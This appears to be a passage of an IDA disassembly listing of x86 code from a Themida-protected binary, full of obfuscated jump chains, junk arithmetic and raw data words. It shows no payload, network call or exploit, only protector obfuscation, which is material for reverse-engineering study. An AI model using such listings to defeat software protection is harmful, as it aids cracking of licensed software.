		dd 4C4h, 5AD53100h, 897BE9h, 4055800h, 68000000h, 1D11h
		dd 0BD242C89h, 4, 5002E9h, 0CE814600h, 4AC44542h, 66E9DEF7h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5015FF:				; CODE XREF: Themida_:00513840j
		sub	ecx, 71114B04h
		push	edi
		mov	edi, 3BFA249Fh
		or	ecx, edi
		pop	edi
		add	ecx, 6B1EEA86h
		xor	ebx, ecx
		pop	ecx
		push	ebx
		push	eax
		push	782966D7h
		pop	eax
		add	eax, 3B3D465Fh
		dec	eax
		add	eax, 9C1EC558h
		mov	ebx, eax
		pop	eax
		and	ebx, 637F712Eh
		shr	ebx, 6
		jmp	loc_50DCFC
; ---------------------------------------------------------------------------
aPso		db 'PO',0
		dd 0C8B6600h, 2B876824h, 37E90000h, 870000CCh, 0C15C243Ch
		dd 0C78106E7h, 39DBF8D4h, 87E9FB89h
		db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_501663:				; CODE XREF: Themida_:005128CCj
		shl	esi, 3
		add	esi, 414726F5h
		and	esi, 5C612883h
		xor	esi, 10402885h
		mov	eax, esi
		pop	esi
		sub	esi, 1C166F0h
		add	esi, eax
		add	esi, 1C166F0h
		jmp	loc_504673
; ---------------------------------------------------------------------------

loc_50168E:				; CODE XREF: Themida_:00505CE5j
		xor	ecx, eax
		pop	eax
		push	4A97h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	ebp
		jmp	loc_5141C8
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0CCh
		dd 81342979h, 5D1D0FEEh, 81DEF741h, 324BDAC6h, 0E9F001BFh
		dd 0D9A5h
; ---------------------------------------------------------------------------

loc_5016C4:				; CODE XREF: Themida_:00512915j
		pop	edi
		jmp	loc_50373E
; ---------------------------------------------------------------------------

loc_5016CA:				; CODE XREF: Themida_:0050DD2Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_50BA47
; ---------------------------------------------------------------------------
		dd 0E902C783h, 0C769h
; ---------------------------------------------------------------------------

loc_5016E0:				; CODE XREF: Themida_:00513DFFj
		sub	ebx, edx
		pop	edx
		jmp	loc_50D8EC
; ---------------------------------------------------------------------------

loc_5016E8:				; CODE XREF: Themida_:0050E45Aj
		add	esp, 4
		sub	ebx, edx
		pop	edx
		jmp	loc_505201
; ---------------------------------------------------------------------------
		db 80h
		dd 0C58001EDh, 6D78E901h, 0D0310000h, 11533E9h
		db 0
; ---------------------------------------------------------------------------

loc_501705:				; CODE XREF: Themida_:005088DBj
		pop	ebx
		push	0D0Ch
		mov	[esp], ebp
		push	1
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_501FA3
; ---------------------------------------------------------------------------
		dd 0B951F301h, 4D872BA1h, 4E7FEB81h, 0CB295B31h, 4E7FC381h
		dd 0D7E95B31h
		db 28h,	1, 0
; ---------------------------------------------------------------------------

loc_50173B:				; CODE XREF: Themida_:00504C5Cj
		pop	ebx
		jmp	loc_50EF79
; ---------------------------------------------------------------------------
		db 5Fh,	55h, 0FFh
		dd 5D042474h, 12242E9h
		db 0
; ---------------------------------------------------------------------------

loc_50174D:				; CODE XREF: Themida_:0050E09Dj
		pop	edx
		xor	edx, 1E3C1736h
		sub	eax, 60031E1Ch
		jmp	loc_502BB0
; ---------------------------------------------------------------------------
		dw 6850h
		dd 0F1D0B53h, 32E9E958h, 0C4BD0001h, 51032566h,	9561D8B9h
		dd 5E1C14Ah, 8107E1C1h,	607465C9h, 0A9B6E918h, 0C9BB0000h
		dd 817FE067h, 5E39D8EDh, 81DD2913h, 5E39D8C5h, 0B8505B13h
		dd 546D69C8h, 67E95240h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5017A7:				; CODE XREF: Themida_:0050B76Ej
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		jmp	loc_50DA9B
; ---------------------------------------------------------------------------

loc_5017B1:				; CODE XREF: Themida_:0050BA79j
		pop	edx
		add	ebp, 0B11CF1A1h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	5A3Eh
		mov	[esp], ebx
		push	esi
		mov	esi, edx
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		jmp	loc_50D6C4
; ---------------------------------------------------------------------------

loc_5017D7:				; CODE XREF: Themida_:00503F4Aj
		add	ebx, 5B6F0F2Ah
		xor	[ebx], ecx
		pop	ebx
		xor	ecx, [edi+24h]
		push	ebx
		mov	ebx, 24h
		jmp	loc_5049E4
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 1060Fh, 19BE685Eh, 0F0E90000h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5017FF:				; CODE XREF: Themida_:005119F7j
		add	esp, 4
		push	ebx
		mov	ebx, 4BFC7337h
		dec	ebx
		xor	ebx, 269A42FAh
		neg	ebx
		not	ebx
		shl	ebx, 2
		sub	ebx, 587F9452h
		sub	ecx, ebx
		jmp	loc_503774
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2, 0E2626C05h, 2DD80174h, 74E2626Ch,	0A41BE95Bh, 0C330000h
		dd 0D0E95C24h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_501843:				; CODE XREF: Themida_:00507F3Fj
		or	ebx, 4AE76898h
		jmp	loc_50CCBD
; ---------------------------------------------------------------------------
		dw 66ACh
		dd 0D2E95052h, 81000133h, 0CC042444h, 5B36BE54h, 12313E9h
		dd 62E95A00h, 0BF000103h, 4, 0FD895556h, 895DEE89h, 3C8B5EF0h
		dd 4C48324h, 6263E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501886:				; CODE XREF: Themida_:005010DAj
		add	esi, 0C6D41ACAh
		mov	eax, esi
		pop	esi
		sub	edx, eax
		jmp	loc_5038F4
; ---------------------------------------------------------------------------

loc_501896:				; CODE XREF: Themida_:00502A0Ej
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_50EC11
; ---------------------------------------------------------------------------

loc_5018A0:				; CODE XREF: Themida_:005069E7j
		mov	eax, edi
		pop	edi
		xor	[esp+4], eax
		push	dword ptr [esp]
		jmp	loc_4FFE62
; ---------------------------------------------------------------------------
		db 81h
		dd 2407C5EAh, 81C20117h, 2407C5C2h, 53E95817h, 81FFFFDFh
		dd 4C1h, 4C18300h, 8B240C87h, 24D32424h, 1658E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5018DA:				; CODE XREF: Themida_:00502880j
		mov	edi, ecx
		pop	ecx
		shl	edi, 1
		add	edi, 24C01941h
		sub	edx, edi
		pop	edi
		sub	ebx, 9A94FC1h
		sub	ebx, edx
		add	ebx, 9A94FC1h
		mov	edx, [esp]
		push	4373h
		jmp	loc_513314
; ---------------------------------------------------------------------------

loc_501903:				; CODE XREF: Themida_:0050EF74j
		pop	esi
		push	ebp
		jmp	loc_500679
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 6AC8C181h, 0E9812754h, 3F9D02C6h, 8BAB850h, 0D0F70497h
		dd 160C9925h, 876FE947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50192A:				; CODE XREF: Themida_:0050090Ej
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	ebx, 6E040638h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_50B7C7
; ---------------------------------------------------------------------------
aS9@		db ';Ȝ9@',0
		align 4

loc_50194C:				; CODE XREF: Themida_:00506880j
		xor	edi, ecx
		pop	ecx
		add	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	5E25h
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_508FEF
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68243489h, 75443C33h, 5E6C15Eh, 0FF3AE9h,	242C8B00h
		dd 4C481h, 5DE90000h, 810000DFh, 4C4h, 6D18E900h, 4BD0000h
		dd 0E9000000h, 5158h
; ---------------------------------------------------------------------------

loc_5019AC:				; CODE XREF: Themida_:00502A67j
		push	3F1Bh
		mov	[esp], ebx
		mov	ebx, 24E5373Ah
		mov	ebp, ebx
		jmp	loc_50D52B
; ---------------------------------------------------------------------------

loc_5019C0:				; CODE XREF: Themida_:0050A42Bj
		dec	esi
		jmp	loc_508214
; ---------------------------------------------------------------------------
		dw 90B5h
		dd 0C8BE800h, 4C48124h,	8B000000h, 8951241Ch, 0FA3E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5019DE:				; CODE XREF: Themida_:00501C6Bj
		mov	edi, 7AD2715h
		shl	edi, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 483440B5h
		dec	ebx
		jmp	loc_5092BF
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 3D840DD7h, 0FFE9F2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_501A05:				; CODE XREF: Themida_:005001DBj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_505F13
; ---------------------------------------------------------------------------

loc_501A13:				; CODE XREF: Themida_:005145DFj
		sub	ebp, 0E18BCEEAh
		sub	edi, ebp
		pop	ebp
		add	edi, eax
		add	edi, 61663198h
		pop	eax
		push	ecx
		push	esi
		mov	esi, 344D064Fh
		mov	ecx, esi
		pop	esi
		shl	ecx, 1
		jmp	loc_50F0FF
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 81E68956h, 4C6h, 4C68100h, 87000000h, 248B2434h
		dd 94D6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501A56:				; CODE XREF: Themida_:00512B11j
		mov	edx, 3D3244B0h
		mov	ebx, 18344A79h
		xor	ebx, edx
		pop	edx
		add	ecx, 102C205Eh
		jmp	loc_50D092
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 7259E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501A76:				; CODE XREF: Themida_:0050CA6Fj
		add	ecx, 4
		jmp	loc_508EC4
; ---------------------------------------------------------------------------

loc_501A81:				; CODE XREF: Themida_:005047DBj
		shr	eax, 0Eh
		jmp	loc_50B571
; ---------------------------------------------------------------------------

loc_501A89:				; CODE XREF: Themida_:004FF8B8j
		push	ebx
		jmp	loc_50D5BC
; ---------------------------------------------------------------------------
		db 56h
		dd 8228EFBEh, 0C9F9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501A9A:				; CODE XREF: Themida_:00504ACAj
		sub	ebx, ebp
		pop	ebp
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_514195
; ---------------------------------------------------------------------------
		dw 8E68h
		dd 89000069h, 2BBF243Ch, 81406305h, 4ECh, 243C8900h, 5F2414F7h
		dd 0FF1F781h, 0EF814C78h, 10FC1C55h, 0CF81EF81h, 0DEE9C872h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_501ADF:				; CODE XREF: Themida_:005105E6j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_50761E
; ---------------------------------------------------------------------------
		dd 4AB979B9h, 8BCE314Bh, 0C481240Ch, 4,	624B7305h, 25E92D31h
		dd 5A057919h, 0E955BE4Eh, 504h
; ---------------------------------------------------------------------------

loc_501B14:				; CODE XREF: Themida_:0050F29Cj
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	eax, 385F0D1Dh
		add	eax, ecx
		add	eax, 385F0D1Dh
		jmp	loc_50F6FA
; ---------------------------------------------------------------------------
		dd 2BBh, 5BDF0100h, 0CDF1E9h, 2C335E00h, 242C3124h, 8B242C33h
		dd 4292424h, 0BFE99C24h, 83FFFFDCh, 74E904C4h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_501B5F:				; CODE XREF: Themida_:005111B0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_511B14
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4EC81h, 14890000h, 4EC8324h,	0B4240489h, 10EC802Bh
		dd 0E9FEC480h, 11D65h, 111168h,	44FEE900h, 39680000h, 8900005Dh
		dd 0E2892414h, 2EDEE9h,	24348700h, 8924248Bh, 8957242Ch
		dd 955DE9E7h, 0D12C0000h, 23B4E9h, 242C8B00h, 4C481h, 680000h
		dd 81000000h, 1477242Ch, 34291925h, 24048124h, 19251477h
		dd 6EEC15Eh, 4587BB53h,	0CB8173AFh, 7EEE3ED6h, 1131C381h
		dd 0E3E9621Bh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_501BFB:				; CODE XREF: Themida_:00505AC5j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		push	0B96h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_50D602
; ---------------------------------------------------------------------------
		dd 24048B66h, 2608E9h
		db 0
; ---------------------------------------------------------------------------

loc_501C2D:				; CODE XREF: Themida_:0050D910j
		mov	ax, [esp]
		add	esp, 2
		and	al, cl
		pop	ecx
		push	0FDh
		mov	[esp], edi
		push	7F03h
		push	esp
		jmp	loc_512BF4
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 53000000h,	7F0A24BBh, 0A8E3811Fh, 817B402Ah
		dd 0A45655E3h, 664FE944h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501C6A:				; CODE XREF: Themida_:00500369j
		push	edi
		jmp	loc_5019DE
; ---------------------------------------------------------------------------

loc_501C70:				; CODE XREF: Themida_:0050318Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50ACC9
; ---------------------------------------------------------------------------

loc_501C84:				; CODE XREF: Themida_:00500E6Ej
		sub	ebx, 4D90AABCh
		jmp	loc_511857
; ---------------------------------------------------------------------------
		db 81h
		dd 1318C9EFh, 708EE936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501C9A:				; CODE XREF: Themida_:0050FBFDj
		mov	esi, 39C62EF1h
		and	esi, 7E502BF4h
		push	eax
		mov	eax, 0DDB71DE5h
		jmp	loc_5138EB
; ---------------------------------------------------------------------------
		dd 2B9h, 0E9CB0100h, 9C7Ch
; ---------------------------------------------------------------------------

loc_501CBC:				; CODE XREF: Themida_:0051317Dj
		mov	[esp], ebx
		push	4D355C5Ch
		mov	ebx, [esp]
		jmp	loc_50B034
; ---------------------------------------------------------------------------
aZSzm		db 'ZM',0
		db 0
; ---------------------------------------------------------------------------

loc_501CD3:				; CODE XREF: Themida_:00507379j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_50F88E
; ---------------------------------------------------------------------------

loc_501CE8:				; CODE XREF: Themida_:00513A37j
		push	eax
		jmp	loc_5114D5
; ---------------------------------------------------------------------------

loc_501CEE:				; CODE XREF: Themida_:0051150Aj
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 39BF2F38h
		push	edi
		mov	edi, 371242A4h
		neg	edi
		or	edi, 70E57D2h
		inc	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 481631C3h
		push	edx
		mov	edx, 467E9691h
		add	edi, edx
		pop	edx
		mov	eax, edi
		jmp	loc_50CA74
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 4EC81h, 14890000h, 53C28824h, 68D48850h, 13Dh, 52240C89h
		dd 700368h, 240C8900h, 26E9E188h, 5000053h, 58A61600h
		dd 97E9h
		db 0
; ---------------------------------------------------------------------------

loc_501D59:				; CODE XREF: Themida_:00510C3Aj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5105C0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0E9525500h, 0EA11h, 0E9240433h, 7F9Ch,	24048B66h
		dd 61C368h, 241C8900h, 2B685B54h, 89000020h, 6850243Ch
		dd 149F1F35h, 4F06E9h
		db 0
; ---------------------------------------------------------------------------

loc_501D9D:				; CODE XREF: Themida_:00505F1Aj
		mov	[esp], edx
		mov	edx, 5F5E7794h
		push	71B1h
		mov	[esp], esi
		mov	esi, 1D444664h
		jmp	loc_50CB22
; ---------------------------------------------------------------------------
aOs_		db '׽؎_',0
		db 0
; ---------------------------------------------------------------------------

loc_501DC1:				; CODE XREF: Themida_:0050DB3Dj
		mov	[esp], edx
		xor	dword ptr [esp], 59E36C9Ah
		pop	ebp
		xor	ebp, 59E36C9Ah
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, 1B8332A7h
		xor	ecx, ebp
		jmp	loc_511BFC
; ---------------------------------------------------------------------------
		dd 0E904C483h, 7D4Ch, 25BF575Fh, 814C4471h, 1EFh, 1E78100h
		dd 471E913Eh, 0F781DFF7h, 0F14E8ABAh, 15FFD01h,	45ED81C5h
		dd 8B02B145h, 0C4812404h, 4, 8302C583h,	0E0E904ECh, 6600003Bh
		dd 6824048Bh, 2637h, 89240C89h,	4EC81E1h, 89000000h, 48BF243Ch
		dd 0E9587656h, 806Bh, 6AF268h, 241C8900h, 0C3815B54h, 4
		dd 4B85055h, 89000000h,	4AE958C5h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_501E6B:				; CODE XREF: Themida_:00507FECj
		add	[esp+4], ebx
		jmp	loc_513C29
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 2E7C000h, 80ECB652h, 0CEFE3CEEh, 0EE80C6FEh
		dd 46E680E0h, 35B35366h, 5B66DE30h, 885AF728h, 0DDF65BFDh
		dd 0D5F6D5F6h, 0F608E5C0h, 0CDF580DDh, 54E9EE88h
		db 28h,	1, 0
; ---------------------------------------------------------------------------

loc_501EB3:				; CODE XREF: Themida_:00513D45j
		push	dword ptr [esp]
		jmp	loc_505EE2
; ---------------------------------------------------------------------------

loc_501EBB:				; CODE XREF: Themida_:0050ED23j
		dec	ebx
		push	eax
		mov	eax, 0A760A9C5h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_50BF09
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 0A3C18141h, 19DF2E8h, 8B52E9C8h, 0C2810000h,	386053AEh
		dd 62EA815Bh, 29197911h, 0BA5250EAh, 402311A2h,	9C2304B8h
		dd 7F1D0559h, 0D0295F68h, 0FDF5E9h
		db 0
; ---------------------------------------------------------------------------

loc_501F0D:				; CODE XREF: Themida_:0050D1F8j
		shl	edx, 2
		sub	edx, 19B96213h
		sub	esp, 4
		jmp	loc_5071CC
; ---------------------------------------------------------------------------

loc_501F1E:				; CODE XREF: Themida_:0050A82Cj
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0F0h, 0D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_501F26:				; CODE XREF: Themida_:005086D2j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 645A519Fh
		push	9BA5AE89h
		jmp	loc_50AB43
; ---------------------------------------------------------------------------
aIIcphms	db '<$PhmS',0
		align 2
		dw 0FBE9h
		dd 68000062h, 24ECh, 51242C89h,	0C068EBB9h, 0FFC18134h
		dd 0F7341D0Ch, 74E981D1h, 0E93A786Fh, 0E19Fh
; ---------------------------------------------------------------------------

loc_501F6C:				; CODE XREF: Themida_:004FFCA3j
		add	edi, esi
		jmp	loc_508E56
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0ACF680A4h, 0E91CC680h, 7B33h
; ---------------------------------------------------------------------------

loc_501F80:				; CODE XREF: Themida_:0050FAE4j
		mov	edx, 4
		add	ebx, edx
		jmp	loc_500883
; ---------------------------------------------------------------------------
		dd 0D1040704h, 23E9D000h, 81FFFFFCh, 4C6h, 6CE95200h
		db 19h,	1, 0
; ---------------------------------------------------------------------------

loc_501FA3:				; CODE XREF: Themida_:0050171Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_500499
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FD79E9h,	0E7895700h, 2F32E9h, 7B030500h
		dd 295B2CBCh, 688268D8h, 34890000h, 0E95E5424h,	103Fh
; ---------------------------------------------------------------------------

loc_501FE0:				; CODE XREF: Themida_:005006FCj
		mov	[esp], ebx
		mov	ebx, 9E45B04h
		sub	esp, 4
		jmp	loc_50D3D2
; ---------------------------------------------------------------------------
aEC1ZiYsv	db '-e1ZYv',0
		dw 0E900h
		dd 0FFFFD80Eh, 685A6659h, 6B19h, 0E9241C89h, 97EEh, 752E1105h
		dd 35F8E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502022:				; CODE XREF: Themida_:0050F593j
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 50h
		dd 2891BF57h, 24B87A6Eh, 0E941BD68h, 0C34h
; ---------------------------------------------------------------------------

loc_502038:				; CODE XREF: Themida_:00507441j
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 332F56D7h
		jmp	loc_50C664
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0C7E92404h, 80FFFFD7h, 0F480B5E4h, 58E18801h, 51E9C828h
		dd 58000094h, 46BDE953h, 0F5010000h, 114CAE9h, 8CC38100h
		dd 29244B73h, 8CB951F3h, 29244B73h, 240C8BCBh, 10EF3E9h
		dd 0C5815B00h, 1A1C0B7Ah, 0BB53D501h, 1A1C0B7Ah, 5A5BDD29h
		dd 0E902C583h, 34D7h
; ---------------------------------------------------------------------------

loc_5020A0:				; CODE XREF: Themida_:005043FAj
		shl	esi, 2
		push	esi
		jmp	loc_50BAFF
; ---------------------------------------------------------------------------
		db 0BBh, 0F9h, 16h
		dd 0FD683084h, 5E308416h, 895BDE29h, 2434FFF3h,	4C4835Eh
		dd 34FFDE01h, 0C4815B24h, 4, 31243433h,	34332434h, 24248B24h
		dd 0FFDA35E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5020DD:				; CODE XREF: Themida_:0050392Aj
		mov	edx, esp
		push	eax
		jmp	loc_50E2A2
; ---------------------------------------------------------------------------

loc_5020E5:				; CODE XREF: Themida_:00503C08j
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 522C4AB2h
		sub	eax, edx
		pop	edx
		dec	eax
		not	eax
		push	esi
		mov	esi, 74423CC1h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		dec	eax
		push	ebp
		mov	ebp, 4B0733EBh
		push	ecx
		jmp	loc_504372
; ---------------------------------------------------------------------------

loc_50210F:				; CODE XREF: Themida_:0050B23Aj
		add	esp, 4
		pop	dword ptr [edi+24h]
		jmp	loc_500F30
; ---------------------------------------------------------------------------
		dw 0E94Bh
		dd 106A3h
; ---------------------------------------------------------------------------

loc_502120:				; CODE XREF: Themida_:005143D2j
		pop	dword ptr [esp]
		jmp	loc_4FFE1A
; ---------------------------------------------------------------------------

loc_502128:				; CODE XREF: Themida_:0050150Ej
		push	ebx
		mov	ebx, 24h
		add	ebx, 1C2173A7h
		add	ebx, edi
		sub	ebx, 1C2173A7h
		xor	[ebx], ecx
		pop	ebx
		xor	ecx, [edi+24h]
		jmp	loc_50A796
; ---------------------------------------------------------------------------

loc_502147:				; CODE XREF: Themida_:0050F714j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5051D4
; ---------------------------------------------------------------------------
		dd 59C1BB53h, 0C3815175h, 0AD548DF4h, 0CBE9DA01h, 0BA000019h
		dd 713D26DAh, 6A61BB53h, 0CB814267h, 6D2E5741h,	629ACB81h
		dd 0F3815600h, 4B5B3F7Dh, 2CE9DA31h, 8800008Bh,	0E9DD88E3h
		dd 129DCh
; ---------------------------------------------------------------------------

loc_502190:				; CODE XREF: Themida_:00505CCFj
		mov	esi, 2B4D4050h
		or	esi, 5C520DC7h
		inc	esi
		not	esi
		add	esi, 9CFEBAEBh
		xor	ebp, esi
		jmp	loc_513CC3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9532424h, 0E9F1h
; ---------------------------------------------------------------------------

loc_5021B4:				; CODE XREF: Themida_:00505CD6j
		push	1761h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_5021C3:				; CODE XREF: Themida_:00513ABFj
		sub	ebx, 0FFFFFFFFh
		jmp	loc_50B014
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 58AE37D0h, 0C781DFF7h, 1D6CCF33h, 34FFFB01h,	0C4835F24h
		dd 4C38104h, 87000000h,	0E2E9241Ch, 5000001h, 2FBF6B2Dh
		dd 10151E9h, 6E6C000h, 6809CE80h, 4057h, 0FFEAB6E9h, 16658FFh
		dd 0C38166C3h, 0B70F65FDh, 4EC81C0h, 89000000h,	0E789243Ch
		dd 0CC78E9h, 22E95800h,	5E0000E3h, 0FB47E9h
		db 0
; ---------------------------------------------------------------------------

loc_502235:				; CODE XREF: Themida_:005045B3j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	53A2h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dw 81ACh
		dd 4ECh, 24148900h, 0CA30ABB2h,	0CA30D130h, 0F2E9E186h
		dd 5D000088h, 34F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_502289:				; CODE XREF: Themida_:00514690j
		add	ebp, 21D1690Bh
		dec	ebp
		jmp	loc_50FD4C
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 97h
		dd 813CDB5Ah, 950B17F7h, 391FE90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5022A6:				; CODE XREF: Themida_:0050CA01j
		add	edx, ecx
		add	edx, 71D36727h
		mov	ecx, [esp]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	esi
		push	2625h
		mov	[esp], ecx
		mov	ecx, 7AA245DEh
		add	dword ptr [esp+4], 43DB68FDh
		sub	dword ptr [esp+4], 438149AEh
		add	[esp+4], ecx
		push	esi
		mov	esi, 438149AEh
		add	[esp+8], esi
		pop	esi
		sub	dword ptr [esp+4], 43DB68FDh
		jmp	loc_51342D
; ---------------------------------------------------------------------------

loc_5022F7:				; CODE XREF: Themida_:00502CE3j
		mov	[esp], ecx
		jmp	loc_50AEBB
; ---------------------------------------------------------------------------
		db 89h
		dd 35BA2414h, 0E94C7D50h, 9800h, 1C781h, 0BE560000h, 49D07A1h
		dd 8107E6C1h, 5C6E7BE6h, 99CE8133h, 4E12A211h, 0EE81DEF7h
		dd 9B6D32E8h, 0E95EF731h, 0FFFFEFB1h
; ---------------------------------------------------------------------------

loc_502338:				; CODE XREF: Themida_:005002F5j
		mov	ecx, esi
		jmp	loc_510FF0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4ECh, 24348900h, 581868h, 240C8900h
		dd 0E9E38953h, 0D8E5h, 0E908E6C0h, 1E3Ch
; ---------------------------------------------------------------------------

loc_502368:				; CODE XREF: Themida_:00509DB4j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 545A38EBh
		jmp	loc_514B5F
; ---------------------------------------------------------------------------

loc_50237C:				; CODE XREF: Themida_:005078D5j
		mov	[esp], ebx
		mov	ebx, 6C5C005Fh
		shr	ebx, 5
		jmp	loc_503561
; ---------------------------------------------------------------------------

loc_50238C:				; CODE XREF: Themida_:00509A9Fj
		pop	esi
		mov	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2C114F2Eh
		add	edi, ecx
		pop	ecx
		jmp	loc_509E83
; ---------------------------------------------------------------------------

loc_50239E:				; CODE XREF: Themida_:0050B892j
		mov	ebx, 2C153014h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_511E11
; ---------------------------------------------------------------------------
		dw 4A68h
		dd 0E900006Bh, 0BD82h
; ---------------------------------------------------------------------------

loc_5023C8:				; CODE XREF: Themida_:00511D70j
		push	eax
		push	ebx
		jmp	loc_506DFB
; ---------------------------------------------------------------------------
		db 53h
		dd 11374E9h, 24248B00h,	78BE953h, 0F4050000h, 116A65Ch
		dd 5CF42DD0h, 148B16A6h, 4C48124h, 87000000h, 1FE92404h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5023FB:				; CODE XREF: Themida_:005038DEj
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 4A5962BCh
		sub	ebx, edx
		add	ebx, 4A5962BCh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_511B0E
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 36A02126h, 0DABA524Eh, 11E28FBh, 0C1815AD6h,	66A04E2Fh
		dd 0BCDBE9h
		db 0
; ---------------------------------------------------------------------------

loc_502435:				; CODE XREF: Themida_:00505C3Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_504023
; ---------------------------------------------------------------------------
aIIcsD		db '<$[d',0
		align 4
		dd 0FD895E59h, 5DE8295Fh, 31240433h, 24E92404h,	8900002Fh
		dd 59C889D1h, 5A585950h, 7BE9C831h, 570000C0h, 0F324E9h
